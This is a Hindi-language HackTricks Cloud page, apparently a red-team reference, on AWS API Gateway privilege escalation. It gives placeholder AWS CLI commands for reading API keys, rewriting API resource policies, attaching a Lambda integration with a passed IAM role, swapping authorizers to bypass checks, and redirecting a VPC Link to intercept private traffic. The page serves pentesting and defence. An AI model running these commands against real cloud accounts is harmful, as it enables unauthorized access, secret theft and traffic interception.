AWS - Apigateway Privesc
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
Apigateway
अधिक जानकारी के लिए देखें:
apigateway:POST
इस अनुमति के साथ आप configure किए गए APIs के लिए (प्रत्येक region में) API keys जनरेट कर सकते हैं।
aws --region <region> apigateway create-api-key
Potential Impact: आप इस तकनीक से privesc नहीं कर सकते लेकिन आपको संवेदनशील जानकारी तक पहुँच मिल सकती है।
apigateway:GET
इस अनुमति के साथ आप कॉन्फ़िगर की गई APIs की जनरेट की गई API keys प्राप्त कर सकते हैं (per region).
aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value
संभावित प्रभाव: इस तकनीक से आप privesc नहीं कर सकते, लेकिन संभवतः संवेदनशील जानकारी तक पहुँच मिल सकती है।
apigateway:UpdateRestApiPolicy, apigateway:PATCH
इन permissions के साथ, किसी API की resource policy को बदल कर आप खुद को उसे कॉल करने की अनुमति दे सकते हैं और API gateway के संभावित एक्सेस का दुरुपयोग कर सकते हैं (उदाहरण के लिए किसी vulnerable lambda को invoke करना)।
aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
Potential Impact: आप आमतौर पर इस तकनीक से सीधे privesc नहीं कर पाएँगे, लेकिन आपको संवेदनशील जानकारी तक पहुँच मिल सकती है।
apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole
Note
परीक्षण की आवश्यकता
apigateway:PutIntegration, apigateway:CreateDeployment, और iam:PassRole अनुमतियों वाले हमलावर मौजूदा API Gateway REST API में ऐसे Lambda फ़ंक्शन के साथ एक नया इंटीग्रेशन जोड़ सकते हैं जिस पर एक IAM role जुड़ा हो। हमलावर फिर Lambda फ़ंक्शन को ट्रिगर करके मनमाना कोड निष्पादित कर सकता है और संभावित रूप से IAM role से जुड़े संसाधनों तक पहुँच प्राप्त कर सकता है।
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"
# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
संभावित प्रभाव: Lambda function’s IAM role से जुड़े संसाधनों तक पहुँच।
apigateway:UpdateAuthorizer, apigateway:CreateDeployment
Note
परीक्षण आवश्यक
एक हमलावर जिसके पास अनुमतियाँ apigateway:UpdateAuthorizer और apigateway:CreateDeployment हैं, वह मौजूदा API Gateway authorizer को संशोधित कर सकता है ताकि सुरक्षा जांचों को दरकिनार किया जा सके या जब API अनुरोध किए जाते हैं तब मनमाना कोड निष्पादित किया जा सके।
API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
संभावित प्रभाव: सुरक्षा जाँचों को दरकिनार करना, API संसाधनों तक अनधिकृत पहुँच।
apigateway:UpdateVpcLink
Note
परीक्षण की आवश्यकता
एक हमलावर के पास apigateway:UpdateVpcLink अनुमति होने पर वह मौजूदा VPC Link को किसी अलग Network Load Balancer की ओर निर्देशित करने के लिए संशोधित कर सकता है, जिससे निजी API ट्रैफ़िक को अनधिकृत या दुर्भावनापूर्ण संसाधनों की ओर पुनर्निर्देशित किया जा सकता है।
VPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"
संभावित प्रभाव: प्राइवेट API संसाधनों तक अनधिकृत पहुँच, API ट्रैफ़िक का अवरोधन या व्यवधान।
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
HackTricks Cloud

